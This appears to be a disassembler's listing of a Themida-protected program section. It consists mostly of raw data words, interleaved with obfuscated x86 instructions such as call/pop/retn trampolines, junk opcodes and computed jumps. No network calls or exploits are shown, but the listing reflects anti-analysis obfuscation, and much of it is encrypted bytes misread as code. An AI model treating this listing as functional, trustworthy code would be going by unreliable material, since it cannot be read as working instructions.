dd 5EF1FCAEh, 99CE414Dh, 43FCBFD0h, 0BC8FC44Bh, 732E7B0Ch
dd 92FD08AEh, 25A6B55Dh, 6693EC63h, 0DD325887h, 4E93DF72h
dd 0C714FB93h, 7AAF602Eh, 53343C53h, 9FAE728Dh, 86B27644h
dd 8B962E8Eh, 3E9F8h, 22530000h, 0F01F7234h, 739CF2BBh
dd 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h, 40B844Dh
dd 8B8406CFh, 10FF8D56h, 8950D4DBh, 405E0h, 0E8830000h
dd 24048704h, 243C895Ch, 615268h, 241C8900h, 3EE268h, 24148900h
dd 306ABE56h, 0EEC177EAh, 4BF68104h, 8131985Eh, 36010ACEh
dd 3DB95101h, 1CE1EA1h, 0F38959CEh, 113E685Eh, 24890000h
dd 24048124h, 4, 1B40685Ah, 1C890000h, 8428F24h, 5A2434FFh
dd 4C481h, 34FF0000h, 0C4835B24h, 0D6BFE904h, 6B45FFFCh
; ---------------------------------------------------------------------------
push es
sal ecx, 1
loc_5B651F: ; CODE XREF: sub_5B5756:loc_5B58F3j
mov eax, 615A9CCh
add eax, ebp
jmp eax
sub_5B5756 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dd 2CE8DC87h, 28A89AF4h, 652274E1h, 22F5F1CDh, 65728A8h
dd 1C081928h, 6BBC1AABh, 5209AC0h, 5B4288F1h, 2BDA93FFh
dd 44D91DCBh, 5D0C8F35h, 77BB70Fh, 7B388D8Bh, 268146BCh
dd 38F3D23Fh, 6C13B026h, 2EACE209h, 55B057E3h, 75E9h, 8C666000h
dd 0F04A8D8h, 3584h, 0FF016A00h, 1217F1B5h, 7A858D06h
dd 0FF061582h, 5D8589D0h, 8B06121Ah, 0CEFC1FEh, 4000068h
dd 6A006A20h, 0D685702h, 0FF000100h, 121A5D95h, 32E906h
dd 85C60000h, 61215C1h, 30DF6856h, 0B5FFA9C5h, 6123101h
dd 827A858Dh, 0D0FF0615h, 1E958589h, 858D0612h, 6121841h
dd 6A206A50h, 95FF5605h, 6121E95h, 0E0C1C361h, 8F4FEB06h
dd 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h
dd 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh
dd 3A6400A6h, 0BA9F0042h, 0DC80h, 1B540000h, 0FEB5h, 0FBFE33h
dd 0B4870000h, 202352DDh, 9E019ED9h, 5DE97C80h, 0E9000011h
dd 7, 0A36F3A25h, 8922F5CAh, 12080595h, 0E9BD8306h, 6120Eh
dd 54850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 71F636C3h, 2531C0EBh, 0F9D00377h
dd 0B8h, 58F0F00h, 0B9000000h, 75D84AD3h, 4C2F5h, 0EE8h
dd 4DDFB700h, 9CEFB695h, 4630E2EFh, 896558A7h, 12044D8Dh
dd 0C08B5F06h, 0B9C9B70Fh, 302D624Bh, 2F01BD83h, 75000612h
dd 49BD8309h, 61221h, 53501374h, 0D0B8C08Bh, 8D000004h
dd 14AADD9Dh, 5BD3FF06h, 49BD8358h, 61221h, 53501174h
dd 4D0B8h, 2A9D8D00h, 0FF0614AAh, 6A585BD3h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 3877C351h, 6E797F46h, 8BF88B1Fh, 3D9589C0h, 8D061222h
dd 15AB5C85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 83D981F3h, 664131D8h, 508F21BAh
dd 0C8F9B966h, 6A240489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 4FAEC350h, 8DB03582h
dd 15AB1985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 6255C966h, 8B9E657Fh, 0E85150F8h
dd 0Dh, 654353E7h, 2DBBE1DAh, 14FDF02Ch, 5912B22Eh, 2404895Ah
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 4AC35141h
dd 0C59589FFh, 66061218h, 5D26C281h, 1FDD95FFh, 0FE8B0612h
dd 424448Bh, 0F5E5260h, 680h, 41958900h, 61061226h, 0AB448589h
dd 0ED800615h, 24448B1Ch, 53006A08h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 68D0FB1h, 8B000000h
dd 1211858Dh, 58858906h, 890615ABh, 122E6985h, 3DBD8306h
dd 61223h, 0F0850Fh, 958B0000h, 61208F1h, 1CC5B589h, 85C60612h
dd 61215C1h, 56006A47h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 8509304Bh, 0B805DC74h, 0D462BA66h
dd 4691DD68h, 5E8C7h, 4BA40000h, 50A4FB0Bh, 60310F52h
dd 5F585A61h, 0F5240481h, 890D5415h, 1228C595h, 1B5FF06h
dd 0E9061231h, 9, 95E868DEh, 6E8A3h, 7A858DC8h, 0E8061582h
dd 12h, 94F673C0h, 477DBFFBh, 8D055BBCh, 0A752DCEBh, 0CF815BE4h
dd 7CB2104Bh, 6AD0FF5Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 7587C355h, 9A0D650Ch
dd 1619BD2Bh, 85890612h, 612233Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 18C35040h, 0FDA8A84Dh, 31CF959Ch
dd 1CC19531h, 0BD830612h, 6122A6Dh, 37850F00h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 8F9EC356h, 314C3C8Bh, 1218CDBDh, 6D8D8906h
dd 0C6061218h, 1215C185h, 6A4706h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 7B64A9C3h, 10E939h, 3C2D0000h
dd 9A71578Eh, 0CC82443Eh, 0AABB58FDh, 69686B6Ah, 0E8E0D8B6h
dd 10h, 0E21451B5h, 4F2183D7h, 57875Fh, 0C5355933h, 68E0Fh
dd 880F0000h, 0
; ---------------------------------------------------------------------------
pop edi
xor dword ptr [esp], 6AD7038Bh
push 0 ; CODE XREF: Themida_:005B6A2Cj
push edx
call sub_5B69F7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B69F7 proc near ; CODE XREF: Themida_:005B69EFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 14h
inc edx
push edx
retn
sub_5B69F7 endp
; ---------------------------------------------------------------------------
leave
jmp loc_5B6A1B
; ---------------------------------------------------------------------------
db 4Ah, 25h, 92h
dd 8DB2705Dh, 8C89C762h
db 6Bh, 4Fh, 79h
; ---------------------------------------------------------------------------
loc_5B6A1B: ; CODE XREF: Themida_:005B6A08j
push dword ptr [ebp+6123101h]
call near ptr loc_5B6A38+1
xor al, 14h
xchg esi, edx
push edx
in eax, dx
loopwe near ptr loc_5B69EC+1
adc [esi-6Bh], dh
and [ecx+21h], ebp
cmc
push edi
pop esi
loc_5B6A38: ; CODE XREF: Themida_:005B6A21p
jmp short near ptr dword_5B6528+49Dh
; ---------------------------------------------------------------------------
xchg eax, ebp
dec ebp
daa
adc al, [esi]
pop ecx
lea eax, [ebp+615827Ah]
jmp loc_5B6A54
; ---------------------------------------------------------------------------
db 33h
dd 85E6CCBDh, 0A6B8759Bh
; ---------------------------------------------------------------------------
loc_5B6A54: ; CODE XREF: Themida_:005B6A46j
call eax
call near ptr loc_5B6A67+2
and ebp, edx
fcmovne st, st(5)
mov bl, al
and [esi], edx
shl dword ptr [ecx], 1
dec ebp
aaa
loc_5B6A67: ; CODE XREF: Themida_:005B6A56p
xor ch, [esi-46h]
adc [ecx+6D85895Fh], esp
sub dl, [edx]
push es
ja loc_5B6A84
jz loc_5B6A84
mov di, 1D5h
loc_5B6A84: ; CODE XREF: Themida_:005B6A74j
; Themida_:005B6A7Aj
jno loc_5B6A8E
mov di, 0A18Dh
loc_5B6A8E: ; CODE XREF: Themida_:loc_5B6A84j
cmp dword ptr [ebp+6123301h], 0
jnz loc_5B6B49
add ecx, [ebp+61203F1h]
mov byte ptr [ebp+61215C1h], 56h
mov [ebp+6120C51h], ebx
push 0C84DB4C8h
mov dx, 1FA5h
add dword ptr [esp], 0BD1B871h
push 0
push ecx
call sub_5B6AC9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6AC9 proc near ; CODE XREF: Themida_:005B6AC1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_5B6AC9 endp
; ---------------------------------------------------------------------------
db 82h, 0FFh, 12h
dd 0F5FAE550h, 3101B5FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0E14C58C3h, 48095D35h
dd 958BF0A1h, 6123205h, 827A858Dh, 9D890615h, 6120CA5h
dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 0C55391C3h, 185898Fh, 89061233h, 1217959Dh
; ---------------------------------------------------------------------------
push es
loc_5B6B49: ; CODE XREF: Themida_:005B6A95j
mov byte ptr [ebp+61215C1h], 6Ch
push 0
push ecx
call sub_5B6B5B
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6B5B proc near ; CODE XREF: Themida_:005B6B53p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_5B6B5B endp
; ---------------------------------------------------------------------------
retn 0A22Fh
; ---------------------------------------------------------------------------
dw 880Fh
dd 0Ah, 4850Fh, 0B9660000h, 0AB681A19h, 50AC39E8h, 2800F52h
dd 60000000h, 52310F61h, 0FE9h, 1755CC00h, 0ED2EBF16h
dd 5EB3012Bh, 0C3A7876Fh, 81585A5Fh, 98282434h, 0B5FF773Ch
dd 61217F1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0CC35646h, 48858D8Dh, 6A06123Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A2C3C352h
dd 0C7D1E415h, 0D253A88Eh, 8948C280h, 122795B5h, 1D0FF06h
dd 121C618Dh, 48858906h, 0F0615ABh, 686h, 0EDBD8B00h, 83061212h
dd 15AB64BDh, 850F0006h, 60h, 12EABF66h, 15C185C6h, 60490612h
dd 5822B753h, 9E246861h, 11E95194h, 7C000000h, 0C0E93CD6h
dd 7464844Fh, 54E783DDh, 96CCC83h, 0C5240481h, 663A808Bh
dd 0B5FFF88Bh, 61217F1h, 48858DFCh, 0E906123Bh, 0Dh, 51300317h
dd 8900CD49h, 77BBE307h, 66D0FF49h, 8589D38Bh, 615AB64h
dd 6A046Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 634425C3h, 68AE3468h, 6FB966D1h, 24048126h
dd 2E9761CCh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 18h, 0B8C35141h, 571AA9E1h, 17C1958Bh, 56680612h, 81266144h
dd 44562434h, 6A2660h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0F2B9D3C3h, 8D8BC4E4h, 6121319h
dd 0BF0F006Ah, 0B995FFFFh, 9061227h, 1233E18Dh, 5D958906h
dd 89061203h, 15AB5485h, 85C7FC06h, 615AB4Ch, 0
; ---------------------------------------------------------------------------
jmp loc_5B6D51
; ---------------------------------------------------------------------------
db 0A1h, 81h, 9Bh
dd 0E007C0F1h, 8A204CE9h, 7C59F85Dh
; ---------------------------------------------------------------------------
popf
loc_5B6D51: ; CODE XREF: Themida_:005B6D3Cj
push 0
push 0
push edi
call sub_5B6D5E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6D5E proc near ; CODE XREF: Themida_:005B6D56p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 19h
inc edi
push edi
retn
sub_5B6D5E endp
; ---------------------------------------------------------------------------
retf 83C3h
; ---------------------------------------------------------------------------
db 0EDh, 6Eh, 0Bh
; ---------------------------------------------------------------------------
push 0E882B757h
add dword ptr [esp], 177E48A9h
mov edx, ebx
push eax
jb loc_5B6D8E
mov ecx, 704193CEh
loc_5B6D8E: ; CODE XREF: Themida_:005B6D83j
mov [esp], eax
sbb edx, 0F3C7765h
push 0Bh
mov edi, [ebp+6122E11h]
lea eax, [ebp+615AB21h]
xor edx, 6C1B9E08h
push eax
jl loc_5B6DB4
mov ecx, edi
loc_5B6DB4: ; CODE XREF: Themida_:005B6DACj
mov [esp], eax
push 0
push esi
call sub_5B6DC2
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6DC2 proc near ; CODE XREF: Themida_:005B6DBAp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5B6DC2 endp
; ---------------------------------------------------------------------------
pop ebp
mov [ebp+6122481h], eax
call dword ptr [ebp+612233Dh]
push 0
push ebp
call sub_5B6DEA
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6DEA proc near ; CODE XREF: Themida_:005B6DE2p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5B6DEA endp
; ---------------------------------------------------------------------------
inc edx
stc
add al, 2Ch
stc
mov esi, 0CA816678h
test al, 4Dh
pusha
and ecx, 942E760h
popa
lea esi, [ebp+615AB2Bh]
push 0
push edx
call sub_5B6E1F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6E1F proc near ; CODE XREF: Themida_:005B6E17p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5B6E1F endp
; ---------------------------------------------------------------------------
movsb
movsb
movzx edi, si
push eax
jmp loc_5B6E47
; ---------------------------------------------------------------------------
mov bl, 47h
retn 1A64h
; ---------------------------------------------------------------------------
db 84h
; ---------------------------------------------------------------------------
inc ecx
call fword ptr [ebx-6E3845B9h]
loc_5B6E47: ; CODE XREF: Themida_:005B6E35j
mov [esp], esi
push 0
push edx
call sub_5B6E55
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6E55 proc near ; CODE XREF: Themida_:005B6E4Dp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5B6E55 endp
; ---------------------------------------------------------------------------
db 70h, 0E7h, 0FBh
dd 7BC5F700h, 0B52957F8h, 6120875h, 50901AB2h, 818D8B90h
dd 0FF06122Ch, 122A6D95h, 7E95606h, 7E000000h, 1AEB2394h
dd 0B5A2961h, 31850FC0h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0F4ADC353h
dd 7F463877h, 0B1E96E79h, 89000006h, 120B1D85h, 0FE8B6606h
dd 958BD0FFh, 6122A81h, 0AB54B58Bh, 958B0615h, 6123359h
dd 6A20468Dh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0D901C356h, 46A2E75h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 17C35141h, 6890FD0h
dd 33000000h, 1233298Dh, 0BE806h, 0C0670000h, 13F8F7DDh
dd 4CB34FC5h, 99958BF2h, 5906121Dh, 11E990h, 0B2B00000h
dd 0E3207BCDh, 97909CE2h, 556C58B8h, 50234A37h, 18B65250h
dd 80B1310Fh, 8B90585Ah, 12041D8Dh, 6495FF06h, 0B0615ABh
dd 122D7595h, 0FC00B06h, 2C84h, 0C9B96600h, 5EAE9C6h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 239C12C3h, 1208AD95h, 207E8006h, 0BD840F00h, 6A000005h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 60A6C350h, 8DD08B66h, 0EDBF2046h, 895C1865h
dd 15AB5085h, 68D0F06h, 89000000h, 120435B5h, 1A3E906h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 624516C3h, 0CE98Fh, 0CEEB0000h, 1C1EA7DCh
dd 846FBDDh, 85014FDDh, 6120279h, 56006A40h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F598C174h
dd 0FFBF0F53h, 12E8505Ah, 11000000h, 0A93F90Bh, 1191C19Fh
dd 3B00397h, 626023DBh, 63B9661Ch, 4895A00h, 56006A24h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 7C14DBB6h, 813EA10Eh, 12E5958Bh, 46A0612h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 9DC35040h, 5E969h
dd 452C0000h, 5068FE50h, 0E1B58960h, 66061211h, 61080FB8h
dd 0BF66505Ah, 4892270h, 2CF28024h, 0AB6495FFh, 8BFC0615h
dd 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 3B040E49h, 5223B671h, 5AFBB70Fh, 2A8D9D89h
dd 6A580612h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1B042444h, 43000000h, 56C3C353h, 2FE09D9Ah, 0DB0BEBD0h
dd 5B840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 3D4764C3h, 665A5366h, 6633E181h
dd 40BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 950BBACEh, 6120435h, 31BD8B50h, 59061217h
dd 0EAF28166h, 388037h, 0FE8A850Fh, 0CA8BFFFFh, 12E9h
dd 0D38B6600h, 0EED28048h, 56C88160h, 0F4C572Bh, 3B61FFBFh
dd 15AB5085h, 4E820F06h, 0F000000h, 178Ch, 12E900h, 71720000h
dd 0F4579B2Fh, 1512E2B1h, 3B8C3954h, 123CAB9h, 0F5C3880h
dd 2884h, 80ACB200h, 850F2F38h, 0FFFFFFB4h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 60C35242h, 2EB24012h
dd 0AB58BD83h, 0F000615h, 17784h, 0E9816600h, 50FC23A5h
dd 89D78B66h, 0B70F2404h, 588503CEh, 6A0615ABh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 3220C357h, 0E950902Fh, 0Fh, 17F67467h, 0C0B43181h, 79731960h
dd 902BB9BAh, 3418589h, 46A0612h, 6155BA66h, 66525090h
dd 0FC453B9h, 0CB8B6631h, 6650585Ah, 6690D08Bh, 95FFD38Bh
dd 615AB64h, 35D5BA66h, 4800Fh, 0BF660000h, 0D88B837Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h
dd 11C11FA1h, 10E8h, 0CC2AD200h, 4EABFEE5h, 6C03F3ADh
dd 46BDDD56h, 87DF816Ah, 596A0B14h, 0D800Fh, 0BE600000h
dd 3ADA4AFDh, 0EAD5D381h, 586113CDh, 3305B589h, 0DB0B0612h
dd 65840Fh, 9D890000h, 61220F9h, 263E9h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E8E04FDCh, 8, 67F15823h, 0C9EEBDF5h, 18870Fh, 12E80000h
dd 0E4000000h, 1A3D5389h, 35A50503h, 80ACFCB9h, 0DDF4A341h
dd 15A5F03h, 12156185h, 5E906h, 6E490000h, 0C656BE2Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 0FE9CD0C3h, 3890Fh, 0D5800000h, 9529589Ch
dd 61225CDh, 89D68B50h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 67658EC3h, 1E559D89h
dd 1E6A0612h, 33F19D89h, 66900612h, 6650CA8Bh, 90309ABFh
dd 66DDB460h, 611D9EB9h, 0AB6495FFh, 6A0615h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 9E8E1C3h
dd 31000000h, 18663711h, 0CDA89843h, 0AE9h, 679BDF00h
dd 86D45A8Fh, 5ACE597Ah, 885958Bh, 0D88B0612h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 78C35545h, 66F7023Fh
dd 49F6F781h, 8058FA8Bh, 99BFC7D1h, 0B4386BFh, 11840FDBh
dd 89000000h, 1229759Dh, 10AE906h, 958B0000h, 6121645h
dd 52525090h, 0FE9h, 32BCD000h, 0CFB7333h, 59212533h, 0DFF3299Bh
dd 66310F5Fh, 5A2B29BFh, 89905058h, 1211C9BDh, 0FF09B606h
dd 15AB44B5h, 0CAB70F06h, 0AB4895FFh, 6A0615h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BD2374C3h, 6122C69h, 850FC00Bh, 83h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Dh, 9EC35545h, 0B256CB8Ah
dd 87D7C663h, 0B585891Fh, 0E906120Ch, 0Ch, 14354EC3h, 157B8026h
dd 1CB31F83h, 0E5952961h, 0C706120Eh, 15AB4C85h, 106h
dd 8A0F00h, 66000000h, 0E9798CB9h, 44h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 19h, 93C35545h, 7105C7EEh
dd 21B529D8h, 61061234h, 11CC681h, 8D890000h, 6122119h
dd 0FFF977E9h, 5880FFFh, 0BA000000h, 7AFDE844h, 3FB96068h
dd 240481D3h, 2CC0C6A0h, 0DE9h, 0B71C5800h, 0B026C4D8h
dd 3F3D560Ch, 6AF271h, 0B5FF7AB6h, 615AB54h, 95FF5F53h
dd 6123301h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 15C35646h, 53596949h, 3595014Dh, 0E9061203h, 10h
dd 0CDCA8B7Dh, 68BBA603h, 0BE820E1Fh, 0AB398DB3h, 0AB4C858Bh
dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0E990E1C3h, 0Ah, 622F02C7h, 87048AA1h, 0E950C962h
dd 5, 6653DC3Ah, 858D902Ch, 615AB5Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 0A1C35343h, 1729176Eh, 87DD507Ah
dd 66605650h, 0ADB3C18Bh, 4895F61h, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 19858D12h, 6A0615ABh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 546FC355h
dd 8BFA5B4Bh, 8E9h, 851C6600h, 0A6E7B529h, 13E95017h, 0A000000h
dd 20B5389Ch, 0A71F97DDh, 91E5C1ABh, 7178274Dh, 489EBD5h
dd 0FE8B6624h, 1A0DBD8Bh, 95FF0612h, 6122FF1h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 90C35141h, 0AAF37EDBh
dd 6870Fh, 0B5890000h, 6121465h, 4E18166h, 80C08B91h, 0BD83EBC1h
dd 6122F01h, 83097500h, 122149BDh, 13740006h, 0C08B5350h
dd 4D0B8h, 449D8D00h, 0FF0614ABh, 83585BD3h, 122149BDh
dd 11740006h, 0D0B85350h, 8D000004h, 14AA439Dh, 5BD3FF06h
dd 38A0F58h, 80000000h, 14E9FECDh, 2B000000h, 94847FBBh
dd 31233A21h, 9498CF06h, 6CD88F55h, 8B2F78D5h, 0A5BD8BC0h
dd 58061220h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 8C35141h, 1C7AF281h, 8C25CBFh, 0AE900h, 0B4CD0000h
dd 6B80B6BCh, 84DEA8B3h, 0BD29C08Bh, 61203BDh, 0AB7F858Dh
dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0F4575C3h, 8589011Bh, 6121639h, 39EBh, 2CC00B0h
dd 2E400B0h, 0B0h, 0C4440000h, 0C85F4588h, 0C0657491h
dd 0C4712080h, 836E4D8Bh, 0ADED4C81h, 0E18474ABh, 0D92E20A9h
dd 0C35550AAh, 0C86A48B1h, 0CD0C4484h, 0AD6CE06Eh, 0AD00C8B2h
dd 0F2A120E5h, 0D1497F26h, 0E9E124C1h, 0AD2624C1h, 0FA5F20E5h
dd 13F4526h, 82079D66h, 0D80326F7h, 0E43CA3ECh, 0ADC632C4h
dd 0FE303991h, 1488E06Eh, 241820E1h, 0BF071560h, 0A49BADE3h
dd 52053448h, 2ED97B36h, 0BFE16958h, 0BA1420E3h, 148873B5h
dd 241820E1h, 0BF071560h, 559BADE3h, 5205344Ch, 0A2D97B36h
dd 0ADC02668h, 0E0F5A9E5h, 263632FDh, 0FD184A25h, 0AD0C230Dh
dd 6E5E00E5h, 8947A9BDh, 89C5A1E1h, 0ADC036E1h, 6E3060E5h
dd 0ACA57F48h, 0BF34D170h, 6C89E6E3h, 0FB0032F0h, 4552208Fh
dd 0AD8120E6h, 0F40379C5h, 0A9446C6Ch, 0A9146464h, 0AD1820F3h
dd 2CF71A4h, 388D5552h, 0AB110DD0h, 0AD81240Dh, 57872E5h
dd 0ADE32F79h, 0FD3020E5h, 0AD07ADEAh, 446C20E5h, 0AD0620F1h
dd 8BA524AEh, 94992C97h, 0AD6A496Dh, 5AFF7069h, 0E1FCC3AFh
dd 96FB9A83h, 8948AB84h, 0CD5470E1h, 96F41F5Ah, 9C8E419Fh
dd 0F738ABB5h, 0ADEB78BFh, 0AD30300Dh, 8D532BE5h, 41C02376h
dd 0DE66BA3Eh, 0B9BBC3F3h, 258E9E9Eh, 249A65F2h, 446404A1h
dd 0AD3020EEh, 91C3BE8Bh, 0D6D5AFD9h, 0F5D1B0B9h, 4555208Fh
dd 0AD8120E6h, 0F3037EC5h, 0A944546Ch, 0A9146464h, 0AD1820FCh
dd 51CF76A3h, 666058C3h, 6A824627h, 187EC611h, 0ABD211E4h
dd 4536208Fh, 0AD3020E6h, 0F3DB7EC5h, 0A928546Ch, 0A9226464h
dd 0AD0320F8h, 934276A3h, 1C2581B2h, 73692B64h, 28DAA0DEh
dd 2F62A568h, 0AD6626F0h, 0AD05C8B3h, 0F32320E5h, 0D9087E26h
dd 0E94124C1h, 0AD7524C1h, 0FB7620E5h, 2484DC26h, 0BF210960h
dd 52F8ABE3h, 0FB034A35h, 0AD81230Dh, 6E9E00E5h, 8914A9BBh
dd 8974A1E1h, 0AD1838E1h, 6E5A66E5h, 23171679h, 0C7074AF7h
dd 0AE6976E5h, 8DC020E5h, 243EE3BBh, 2C340491h, 0B11C04A1h
dd 0EB0C20E5h, 8B74E3B3h, 21137463h, 0A6F0E825h, 0BFF1D550h
dd 6F6748E3h, 7DBB0EE8h, 0AA3C1464h, 44222D37h, 0AD0620EEh
dd 0C7E00835h, 3FE5DA0Fh, 0A245D1A3h, 108E85Ah, 0A2A280FFh
dd 0AD182461h, 1EB646E5h, 8902A13Ah, 0C05CC8A5h, 0C77F9FEAh
dd 0FBC04AE5h, 0AD60230Dh, 6E6E00E5h, 896CA9BBh, 8948A1E1h
dd 0AD063AE1h, 6E5566E5h, 3514C74Fh, 52A75B9Fh, 0FF604A35h
dd 0AD30230Dh, 6E4200E5h, 8958A9BFh, 8942A1E1h, 0AD0338E1h
dd 6ED362E5h, 0BB75DE82h, 0ADE5A9E8h, 26363558h, 0BF0DC550h
dd 0A8F4ABE3h, 0AD062229h, 1007A56Ch, 6D0226F0h, 0A545A9FDh
dd 9E663558h, 0AFDC9925h, 7EB20E5h, 9D7595CCh, 208D26F7h
dd 0AB113F1Ch, 0B840A523h, 0C78326F7h, 0AE8875E5h, 8D3020E5h
dd 2445E3B8h, 2C080489h, 0B10204A1h, 0E80320E5h, 0FE1FE3B0h
dd 0A3414A2Dh, 2D0BA929h, 10037410h, 0AB0A0DB0h, 2A16B68Dh
dd 0AD03C96Dh, 0B5FD20E5h, 2C43CB8Eh, 0FD0804E1h, 0AD0A3305h
dd 0AD33C8B6h, 0F63820E5h, 0F1857B26h, 0E98724C1h, 0AD1F24C1h
dd 0FEC220E5h, 0EA94EB26h, 574920C8h, 125600C4h, 18E7074Eh
dd 0AB1E11E4h, 4550208Fh, 0AD0320E6h, 0F3427EC5h, 0A9E4546Ch
dd 0A9446464h, 0AD3020FDh, 52DB76A3h, 2EBDD7E9h, 288BEA6Eh
dd 0AB16A29Fh, 45D1208Fh, 0ADC020E6h, 0F5A378C5h, 0A914646Ch
dd 0A93C6464h, 0AD0C20F0h, 2DC570A5h, 51C9AA27h, 0ADEBF01Ah
dd 0ADC3C8B0h, 0F04020E5h, 0C1B97D26h, 0E99924C1h, 0AD1824C1h
dd 0F84320E5h, 2000AE26h, 0AB930D3Ch, 846D9D6Eh, 28E926F7h
dd 0AB2235B8h, 0AD18320Dh, 0B66382E5h, 4685E144h, 0DAB2035Fh
dd 616E868Ah, 26F7175Dh, 0BF7EFD50h, 28BD79E3h, 0AB0A2B44h
dd 455A208Fh, 0AD0620E6h, 0F3C07EC5h, 0A9A5546Ch, 0A9E46464h
dd 0AD6020F8h, 0C6F376A3h, 62861A4Fh, 4C1945h, 60D0A160h
